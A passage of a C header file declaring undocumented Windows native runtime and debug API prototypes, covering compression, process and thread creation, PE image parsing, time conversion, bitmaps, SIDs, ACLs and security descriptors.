PrefixTableEntry\r\n    );\r\n\r\nPUNICODE_PREFIX_TABLE_ENTRY\r\nNTAPI\r\nRtlFindUnicodePrefix (\r\n    PUNICODE_PREFIX_TABLE PrefixTable,\r\n    PUNICODE_STRING FullName,\r\n    ULONG CaseInsensitiveIndex\r\n    );\r\n\r\nPUNICODE_PREFIX_TABLE_ENTRY\r\nNTAPI\r\nRtlNextUnicodePrefix (\r\n    PUNICODE_PREFIX_TABLE PrefixTable,\r\n    BOOLEAN Restart\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlGetCompressionWorkSpaceSize (\r\n    IN USHORT CompressionFormatAndEngine,\r\n    OUT PULONG CompressBufferWorkSpaceSize,\r\n    OUT PULONG CompressFragmentWorkSpaceSize\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCompressBuffer (\r\n    IN USHORT CompressionFormatAndEngine,\r\n    IN PUCHAR UncompressedBuffer,\r\n    IN ULONG UncompressedBufferSize,\r\n    OUT PUCHAR CompressedBuffer,\r\n    IN ULONG CompressedBufferSize,\r\n    IN ULONG UncompressedChunkSize,\r\n    OUT PULONG FinalCompressedSize,\r\n    IN PVOID WorkSpace\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDecompressBuffer (\r\n    IN USHORT CompressionFormat,\r\n    OUT PUCHAR UncompressedBuffer,\r\n    IN ULONG UncompressedBufferSize,\r\n    IN PUCHAR CompressedBuffer,\r\n    IN ULONG CompressedBufferSize,\r\n    OUT PULONG FinalUncompressedSize\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDecompressFragment (\r\n    IN USHORT CompressionFormat,\r\n    OUT PUCHAR UncompressedFragment,\r\n    IN ULONG UncompressedFragmentSize,\r\n    IN PUCHAR CompressedBuffer,\r\n    IN ULONG CompressedBufferSize,\r\n    IN ULONG FragmentOffset,\r\n    OUT PULONG FinalUncompressedSize,\r\n    IN PVOID WorkSpace\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDescribeChunk (\r\n    IN USHORT CompressionFormat,\r\n    _Inout_ PUCHAR *CompressedBuffer,\r\n    IN PUCHAR EndOfCompressedBufferPlus1,\r\n    OUT PUCHAR *ChunkBuffer,\r\n    OUT PULONG ChunkSize\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlReserveChunk (\r\n    IN USHORT CompressionFormat,\r\n    _Inout_ PUCHAR *CompressedBuffer,\r\n    IN PUCHAR EndOfCompressedBufferPlus1,\r\n    OUT PUCHAR *ChunkBuffer,\r\n    IN ULONG ChunkSize\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDecompressChunks (\r\n    OUT PUCHAR UncompressedBuffer,\r\n    IN ULONG UncompressedBufferSize,\r\n    IN PUCHAR CompressedBuffer,\r\n    IN ULONG CompressedBufferSize,\r\n    IN PUCHAR CompressedTail,\r\n    IN ULONG CompressedTailSize,\r\n    IN PCOMPRESSED_DATA_INFO CompressedDataInfo\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCompressChunks (\r\n    IN PUCHAR UncompressedBuffer,\r\n    IN ULONG UncompressedBufferSize,\r\n    OUT PUCHAR CompressedBuffer,\r\n    IN ULONG CompressedBufferSize,\r\n    _Inout_ PCOMPRESSED_DATA_INFO CompressedDataInfo,\r\n    IN ULONG CompressedDataInfoLength,\r\n    IN PVOID WorkSpace\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCreateProcessParameters(\r\n    PRTL_USER_PROCESS_PARAMETERS *ProcessParameters,\r\n    PUNICODE_STRING ImagePathName,\r\n    PUNICODE_STRING DllPath,\r\n    PUNICODE_STRING CurrentDirectory,\r\n    PUNICODE_STRING CommandLine,\r\n    PVOID Environment,\r\n    PUNICODE_STRING WindowTitle,\r\n    PUNICODE_STRING DesktopInfo,\r\n    PUNICODE_STRING ShellInfo,\r\n    PUNICODE_STRING RuntimeData\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDestroyProcessParameters(\r\n    PRTL_USER_PROCESS_PARAMETERS ProcessParameters\r\n    );\r\n\r\nPRTL_USER_PROCESS_PARAMETERS\r\nNTAPI\r\nRtlNormalizeProcessParams(\r\n    PRTL_USER_PROCESS_PARAMETERS ProcessParameters\r\n    );\r\n\r\nPRTL_USER_PROCESS_PARAMETERS\r\nNTAPI\r\nRtlDeNormalizeProcessParams(\r\n    PRTL_USER_PROCESS_PARAMETERS ProcessParameters\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCreateUserProcess(\r\n    PUNICODE_STRING NtImagePathName,\r\n    ULONG Attributes,\r\n    PRTL_USER_PROCESS_PARAMETERS ProcessParameters,\r\n    PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,\r\n    PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,\r\n    HANDLE ParentProcess,\r\n    BOOLEAN InheritHandles,\r\n    HANDLE DebugPort,\r\n    HANDLE ExceptionPort,\r\n    PRTL_USER_PROCESS_INFORMATION ProcessInformation\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCreateUserThread(\r\n    HANDLE Process,\r\n    PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,\r\n    BOOLEAN CreateSuspended,\r\n    ULONG StackZeroBits,\r\n    SIZE_T MaximumStackSize OPTIONAL,\r\n    SIZE_T InitialStackSize OPTIONAL,\r\n    PUSER_THREAD_START_ROUTINE StartAddress,\r\n    PVOID Parameter,\r\n    PHANDLE Thread,\r\n    PCLIENT_ID ClientId\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlExitUserThread (\r\n    IN NTSTATUS ExitStatus\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlFreeUserThreadStack(\r\n    HANDLE hProcess,\r\n    HANDLE hThread\r\n    );\r\n/*\r\nPVOID\r\nNTAPI\r\nRtlPcToFileHeader(\r\n    PVOID PcValue,\r\n    PVOID *BaseOfImage\r\n    );*/\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlImageNtHeaderEx(\r\n    ULONG Flags,\r\n    PVOID Base,\r\n    ULONG64 Size,\r\n    OUT PIMAGE_NT_HEADERS * OutHeaders\r\n    );\r\n\r\nPIMAGE_NT_HEADERS\r\nNTAPI\r\nRtlImageNtHeader(\r\n    PVOID Base\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlAddressInSectionTable (\r\n    IN PIMAGE_NT_HEADERS NtHeaders,\r\n    IN PVOID BaseOfImage,\r\n    IN ULONG VirtualAddress\r\n    );\r\n\r\nPIMAGE_SECTION_HEADER\r\nNTAPI\r\nRtlSectionTableFromVirtualAddress (\r\n    IN PIMAGE_NT_HEADERS NtHeaders,\r\n    IN PVOID BaseOfImage,\r\n    IN ULONG VirtualAddress\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlImageDirectoryEntryToData(\r\n    PVOID BaseOfImage,\r\n    BOOLEAN MappedAsImage,\r\n    USHORT DirectoryEntry,\r\n    PULONG Size\r\n    );\r\n\r\nPVOID\r\nRtlImageDirectoryEntryToData32 (\r\n    IN PVOID Base,\r\n    IN BOOLEAN MappedAsImage,\r\n    IN USHORT DirectoryEntry,\r\n    OUT PULONG Size\r\n    );\r\n\r\nPIMAGE_SECTION_HEADER\r\nNTAPI\r\nRtlImageRvaToSection(\r\n    IN PIMAGE_NT_HEADERS NtHeaders,\r\n    IN PVOID Base,\r\n    IN ULONG Rva\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlImageRvaToVa(\r\n    IN PIMAGE_NT_HEADERS NtHeaders,\r\n    IN PVOID Base,\r\n    IN ULONG Rva,\r\n    _Inout_ PIMAGE_SECTION_HEADER *LastRvaSection OPTIONAL\r\n    );\r\n\r\n\r\nVOID\r\nNTAPI\r\nRtlCopyMemoryNonTemporal (\r\n   VOID UNALIGNED *Destination,\r\n   CONST VOID UNALIGNED *Source,\r\n   SIZE_T Length\r\n   );\r\n\r\nVOID __fastcall\r\nRtlPrefetchMemoryNonTemporal(\r\n    IN PVOID Source,\r\n    IN SIZE_T Length\r\n    );\r\n\r\nSIZE_T\r\nNTAPI\r\nRtlCompareMemoryUlong (\r\n    PVOID Source,\r\n    SIZE_T Length,\r\n    ULONG Pattern\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlFillMemoryUlong (\r\n   PVOID Destination,\r\n   SIZE_T Length,\r\n   ULONG Pattern\r\n   );\r\n\r\nVOID\r\nNTAPI\r\nRtlFillMemoryUlonglong (\r\n   PVOID Destination,\r\n   SIZE_T Length,\r\n   ULONGLONG Pattern\r\n   );\r\n\r\nVOID\r\nNTAPI\r\nRtlInitializeExceptionLog(\r\n    IN ULONG Entries\r\n    );\r\n\r\nLONG\r\nNTAPI\r\nRtlUnhandledExceptionFilter(\r\n    IN struct _EXCEPTION_POINTERS *ExceptionInfo\r\n    );\r\n\r\nLONG\r\nNTAPI\r\nRtlUnhandledExceptionFilter2(\r\n    IN struct _EXCEPTION_POINTERS *ExceptionInfo,\r\n    IN PCSTR Function\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nDbgUserBreakPoint(\r\n    VOID\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nDbgBreakPointWithStatus(\r\n    IN ULONG Status\r\n    );\r\n\r\nULONG\r\nDbgPrintEx (\r\n\tIN ULONG ComponentId,\r\n\tIN ULONG Level,\r\n\tIN PCH Format,\r\n\t...\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nvDbgPrintEx(\r\n    IN ULONG ComponentId,\r\n    IN ULONG Level,\r\n    IN PCH Format,\r\n    IN va_list arglist\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nvDbgPrintExWithPrefix (\r\n    IN PCH Prefix,\r\n    IN ULONG ComponentId,\r\n    IN ULONG Level,\r\n    IN PCH Format,\r\n    IN va_list arglist\r\n    );\r\n\r\nULONG\r\nDbgPrintReturnControlC (\r\n\tIN PCHAR Format,\r\n\t...\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nDbgQueryDebugFilterState (\r\n    IN ULONG ComponentId,\r\n    IN ULONG Level\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nDbgSetDebugFilterState (\r\n    IN ULONG ComponentId,\r\n    IN ULONG Level,\r\n    IN BOOLEAN State\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nDbgPrompt (\r\n\tIN PCH Prompt,\r\n\tOUT PCH Response,\r\n\tIN ULONG Length\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nDbgLoadImageSymbols (\r\n\tIN PSTRING FileName,\r\n\tIN PVOID ImageBase,\r\n\tIN ULONG_PTR ProcessId\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nDbgUnLoadImageSymbols (\r\n\tIN PSTRING FileName,\r\n\tIN PVOID ImageBase,\r\n\tIN ULONG_PTR ProcessId\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nDbgCommandString (\r\n\tIN PCH Name,\r\n\tIN PCH Command\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlCutoverTimeToSystemTime(\r\n    PTIME_FIELDS CutoverTime,\r\n    PLARGE_INTEGER SystemTime,\r\n    PLARGE_INTEGER CurrentSystemTime,\r\n    BOOLEAN ThisYear\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlSystemTimeToLocalTime (\r\n    IN PLARGE_INTEGER SystemTime,\r\n    OUT PLARGE_INTEGER LocalTime\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlLocalTimeToSystemTime (\r\n    IN PLARGE_INTEGER LocalTime,\r\n    OUT PLARGE_INTEGER SystemTime\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlTimeToElapsedTimeFields (\r\n    IN PLARGE_INTEGER Time,\r\n    OUT PTIME_FIELDS TimeFields\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlTimeToTimeFields (\r\n    PLARGE_INTEGER Time,\r\n    PTIME_FIELDS TimeFields\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlTimeFieldsToTime (\r\n    PTIME_FIELDS TimeFields,\r\n    PLARGE_INTEGER Time\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlTimeToSecondsSince1980 (\r\n    PLARGE_INTEGER Time,\r\n    PULONG ElapsedSeconds\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlSecondsSince1980ToTime (\r\n    ULONG ElapsedSeconds,\r\n    PLARGE_INTEGER Time\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlTimeToSecondsSince1970 (\r\n    PLARGE_INTEGER Time,\r\n    PULONG ElapsedSeconds\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlSecondsSince1970ToTime (\r\n    ULONG ElapsedSeconds,\r\n    PLARGE_INTEGER Time\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlQueryTimeZoneInformation(\r\n    OUT PRTL_TIME_ZONE_INFORMATION TimeZoneInformation\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlSetTimeZoneInformation(\r\n    IN PRTL_TIME_ZONE_INFORMATION TimeZoneInformation\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlSetActiveTimeBias(\r\n    IN LONG ActiveBias\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlInitializeBitMap (\r\n    PRTL_BITMAP BitMapHeader,\r\n    PULONG BitMapBuffer,\r\n    ULONG SizeOfBitMap\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlClearBit (\r\n    PRTL_BITMAP BitMapHeader,\r\n    ULONG BitNumber\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlSetBit (\r\n    PRTL_BITMAP BitMapHeader,\r\n    ULONG BitNumber\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlTestBit (\r\n    PRTL_BITMAP BitMapHeader,\r\n    ULONG BitNumber\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlClearAllBits (\r\n    PRTL_BITMAP BitMapHeader\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlSetAllBits (\r\n    PRTL_BITMAP BitMapHeader\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlFindClearBits (\r\n    PRTL_BITMAP BitMapHeader,\r\n    ULONG NumberToFind,\r\n    ULONG HintIndex\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlFindSetBits (\r\n    PRTL_BITMAP BitMapHeader,\r\n    ULONG NumberToFind,\r\n    ULONG HintIndex\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlFindClearBitsAndSet (\r\n    PRTL_BITMAP BitMapHeader,\r\n    ULONG NumberToFind,\r\n    ULONG HintIndex\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlFindSetBitsAndClear (\r\n    PRTL_BITMAP BitMapHeader,\r\n    ULONG NumberToFind,\r\n    ULONG HintIndex\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlClearBits (\r\n    PRTL_BITMAP BitMapHeader,\r\n    ULONG StartingIndex,\r\n    ULONG NumberToClear\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlSetBits (\r\n    PRTL_BITMAP BitMapHeader,\r\n    ULONG StartingIndex,\r\n    ULONG NumberToSet\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlFindClearRuns (\r\n    PRTL_BITMAP BitMapHeader,\r\n    PRTL_BITMAP_RUN RunArray,\r\n    ULONG SizeOfRunArray,\r\n    BOOLEAN LocateLongestRuns\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlFindLongestRunClear (\r\n    PRTL_BITMAP BitMapHeader,\r\n    PULONG StartingIndex\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlFindFirstRunClear (\r\n    PRTL_BITMAP BitMapHeader,\r\n    PULONG StartingIndex\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlNumberOfClearBits (\r\n    PRTL_BITMAP BitMapHeader\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlNumberOfSetBits (\r\n    PRTL_BITMAP BitMapHeader\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlAreBitsClear (\r\n    PRTL_BITMAP BitMapHeader,\r\n    ULONG StartingIndex,\r\n    ULONG Length\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlAreBitsSet (\r\n    PRTL_BITMAP BitMapHeader,\r\n    ULONG StartingIndex,\r\n    ULONG Length\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlFindNextForwardRunClear (\r\n    IN PRTL_BITMAP BitMapHeader,\r\n    IN ULONG FromIndex,\r\n    IN PULONG StartingRunIndex\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlFindLastBackwardRunClear (\r\n    IN PRTL_BITMAP BitMapHeader,\r\n    IN ULONG FromIndex,\r\n    IN PULONG StartingRunIndex\r\n    );\r\n\r\nCCHAR\r\nNTAPI\r\nRtlFindLeastSignificantBit (\r\n    IN ULONGLONG Set\r\n    );\r\n\r\nCCHAR\r\nNTAPI\r\nRtlFindMostSignificantBit (\r\n    IN ULONGLONG Set\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlValidSid (\r\n    PSID Sid\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlEqualSid (\r\n    PSID Sid1,\r\n    PSID Sid2\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlEqualPrefixSid (\r\n    PSID Sid1,\r\n    PSID Sid2\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlLengthRequiredSid (\r\n    ULONG SubAuthorityCount\r\n    );\r\n\r\nPVOID\r\nNTAPI\r\nRtlFreeSid(\r\n    IN PSID Sid\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlInitializeSid(\r\n\tOUT PSID Sid,\r\n\tIN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority,\r\n\tIN UCHAR SubAuthorityCount\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAllocateAndInitializeSid(\r\n    IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority,\r\n    IN UCHAR SubAuthorityCount,\r\n    IN ULONG SubAuthority0,\r\n    IN ULONG SubAuthority1,\r\n    IN ULONG SubAuthority2,\r\n    IN ULONG SubAuthority3,\r\n    IN ULONG SubAuthority4,\r\n    IN ULONG SubAuthority5,\r\n    IN ULONG SubAuthority6,\r\n    IN ULONG SubAuthority7,\r\n    OUT PSID *Sid\r\n    );\r\n\r\nPSID_IDENTIFIER_AUTHORITY\r\nNTAPI\r\nRtlIdentifierAuthoritySid (\r\n    PSID Sid\r\n    );\r\n\r\nPULONG\r\nNTAPI\r\nRtlSubAuthoritySid(\r\n\tIN PSID Sid,\r\n\tIN ULONG SubAuthority\r\n\t);\r\n\r\nPUCHAR\r\nNTAPI\r\nRtlSubAuthorityCountSid (\r\n    PSID Sid\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlLengthSid (\r\n    PSID Sid\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCopySid (\r\n    ULONG DestinationSidLength,\r\n    PSID DestinationSid,\r\n    PSID SourceSid\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCopySidAndAttributesArray (\r\n    ULONG ArrayLength,\r\n    PSID_AND_ATTRIBUTES Source,\r\n    ULONG TargetSidBufferSize,\r\n    PSID_AND_ATTRIBUTES TargetArrayElement,\r\n    PSID TargetSid,\r\n    PSID *NextTargetSid,\r\n    PULONG RemainingTargetSidSize\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlLengthSidAsUnicodeString(\r\n    PSID Sid,\r\n    PULONG StringLength\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlConvertSidToUnicodeString(\r\n    PUNICODE_STRING UnicodeString,\r\n    PSID Sid,\r\n    BOOLEAN AllocateDestinationString\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlCopyLuid (\r\n    PLUID DestinationLuid,\r\n    PLUID SourceLuid\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlCopyLuidAndAttributesArray (\r\n    ULONG ArrayLength,\r\n    PLUID_AND_ATTRIBUTES Source,\r\n    PLUID_AND_ATTRIBUTES Target\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlAreAllAccessesGranted(\r\n    ACCESS_MASK GrantedAccess,\r\n    ACCESS_MASK DesiredAccess\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlAreAnyAccessesGranted(\r\n    ACCESS_MASK GrantedAccess,\r\n    ACCESS_MASK DesiredAccess\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlMapGenericMask(\r\n    PACCESS_MASK AccessMask,\r\n    PGENERIC_MAPPING GenericMapping\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCreateAcl(\r\n\tOUT PACL Acl,\r\n\tIN ULONG AclLength,\r\n\tIN ULONG AclRevision\r\n\t);\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlValidAcl(\r\n\tPACL Acl\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlQueryInformationAcl(\r\n\tPACL Acl,\r\n\tPVOID AclInformation,\r\n\tULONG AclInformationLength,\r\n\tACL_INFORMATION_CLASS AclInformationClass\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlSetInformationAcl(\r\n\tPACL Acl,\r\n\tPVOID AclInformation,\r\n\tULONG AclInformationLength,\r\n\tACL_INFORMATION_CLASS AclInformationClass\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAddAce(\r\n\tPACL Acl,\r\n\tULONG AceRevision,\r\n\tULONG StartingAceIndex,\r\n\tPVOID AceList,\r\n\tULONG AceListLength\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlDeleteAce(\r\n\tPACL Acl,\r\n\tULONG AceIndex\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlGetAce(\r\n\tPACL Acl,\r\n\tULONG AceIndex,\r\n\tPVOID *Ace\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlSetOwnerSecurityDescriptor(\r\n\t_Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n\t_In_opt_ PSID Owner,\r\n\t_In_opt_ BOOLEAN OwnerDefaulted\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlGetOwnerSecurityDescriptor(\r\n\tIN PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n\tOUT PSID *Owner,\r\n\tOUT PBOOLEAN OwnerDefaulted\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAddAccessAllowedAce(\r\n\tPACL Acl,\r\n\tULONG AceRevision,\r\n\tACCESS_MASK AccessMask,\r\n\tPSID Sid\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAddAccessAllowedAceEx(\r\n\tPACL Acl,\r\n\tULONG AceRevision,\r\n\tULONG AceFlags,\r\n\tACCESS_MASK AccessMask,\r\n\tPSID Sid\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAddAccessDeniedAce(\r\n\tPACL Acl,\r\n\tULONG AceRevision,\r\n\tACCESS_MASK AccessMask,\r\n\tPSID Sid\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAddAccessDeniedAceEx(\r\n\tPACL Acl,\r\n\tULONG AceRevision,\r\n\tULONG AceFlags,\r\n\tACCESS_MASK AccessMask,\r\n\tPSID Sid\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAddAuditAccessAce(\r\n\tPACL Acl,\r\n\tULONG AceRevision,\r\n\tACCESS_MASK AccessMask,\r\n\tPSID Sid,\r\n\tBOOLEAN AuditSuccess,\r\n\tBOOLEAN AuditFailure\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAddAuditAccessAceEx(\r\n\tPACL Acl,\r\n\tULONG AceRevision,\r\n\tULONG AceFlags,\r\n\tACCESS_MASK AccessMask,\r\n\tPSID Sid,\r\n\tBOOLEAN AuditSuccess,\r\n\tBOOLEAN AuditFailure\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAddAccessAllowedObjectAce(\r\n\t_Inout_ PACL Acl,\r\n\tIN ULONG AceRevision,\r\n\tIN ULONG AceFlags,\r\n\tIN ACCESS_MASK AccessMask,\r\n\tIN GUID *ObjectTypeGuid OPTIONAL,\r\n\tIN GUID *InheritedObjectTypeGuid OPTIONAL,\r\n\tIN PSID Sid\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAddAccessDeniedObjectAce(\r\n\t_Inout_ PACL Acl,\r\n\tIN ULONG AceRevision,\r\n\tIN ULONG AceFlags,\r\n\tIN ACCESS_MASK AccessMask,\r\n\tIN GUID *ObjectTypeGuid OPTIONAL,\r\n\tIN GUID *InheritedObjectTypeGuid OPTIONAL,\r\n\tIN PSID Sid\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAddAuditAccessObjectAce(\r\n\t_Inout_ PACL Acl,\r\n\tIN ULONG AceRevision,\r\n\tIN ULONG AceFlags,\r\n\tIN ACCESS_MASK AccessMask,\r\n\tIN GUID *ObjectTypeGuid OPTIONAL,\r\n\tIN GUID *InheritedObjectTypeGuid OPTIONAL,\r\n\tIN PSID Sid,\r\n\tBOOLEAN AuditSuccess,\r\n\tBOOLEAN AuditFailure\r\n\t);\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlFirstFreeAce(\r\n\tPACL Acl,\r\n\tPVOID *FirstFree\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlAddCompoundAce(\r\n\tIN PACL Acl,\r\n\tIN ULONG AceRevision,\r\n\tIN UCHAR AceType,\r\n\tIN ACCESS_MASK AccessMask,\r\n\tIN PSID ServerSid,\r\n\tIN PSID ClientSid\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCreateSecurityDescriptor(\r\n    PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    ULONG Revision\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlCreateSecurityDescriptorRelative(\r\n    PISECURITY_DESCRIPTOR_RELATIVE SecurityDescriptor,\r\n    ULONG Revision\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlValidSecurityDescriptor(\r\n    PSECURITY_DESCRIPTOR SecurityDescriptor\r\n    );\r\n\r\nULONG\r\nNTAPI\r\nRtlLengthSecurityDescriptor(\r\n    PSECURITY_DESCRIPTOR SecurityDescriptor\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlValidRelativeSecurityDescriptor(\r\n    IN PSECURITY_DESCRIPTOR SecurityDescriptorInput,\r\n    IN ULONG SecurityDescriptorLength,\r\n    IN SECURITY_INFORMATION RequiredInformation\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlGetControlSecurityDescriptor (\r\n    PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    PSECURITY_DESCRIPTOR_CONTROL Control,\r\n    PULONG Revision\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlSetControlSecurityDescriptor (\r\n     IN PSECURITY_DESCRIPTOR pSecurityDescriptor,\r\n     IN SECURITY_DESCRIPTOR_CONTROL ControlBitsOfInterest,\r\n     IN SECURITY_DESCRIPTOR_CONTROL ControlBitsToSet\r\n     );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlSetAttributesSecurityDescriptor(\r\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    IN SECURITY_DESCRIPTOR_CONTROL Control,\r\n    _Inout_ PULONG Revision\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlSetDaclSecurityDescriptor (\r\n    PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    BOOLEAN DaclPresent,\r\n    PACL Dacl,\r\n    BOOLEAN DaclDefaulted\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlGetDaclSecurityDescriptor (\r\n    IN  PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    OUT PBOOLEAN DaclPresent,\r\n    OUT PACL *Dacl,\r\n    OUT PBOOLEAN DaclDefaulted\r\n    );\r\n\r\nBOOLEAN\r\nNTAPI\r\nRtlGetSecurityDescriptorRMControl(\r\n    IN PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    OUT PUCHAR RMControl\r\n    );\r\n\r\nVOID\r\nNTAPI\r\nRtlSetSecurityDescriptorRMControl(\r\n    _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    IN PUCHAR RMControl OPTIONAL\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlSetSaclSecurityDescriptor (\r\n    PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    BOOLEAN SaclPresent,\r\n    PACL Sacl,\r\n    BOOLEAN SaclDefaulted\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlGetSaclSecurityDescriptor (\r\n    IN  PSECURITY_DESCRIPTOR SecurityDescriptor,\r\n    OUT PBOOLEAN SaclPresent,\r\n    OUT PACL *Sacl,\r\n    OUT PBOOLEAN SaclDefaulted\r\n    );\r\n\r\nNTSTATUS\r\nNTAPI\r\nRtlSetGroupSecurityDescriptor (\r\n    _Inout_ PSECURITY_DESCRIPTOR 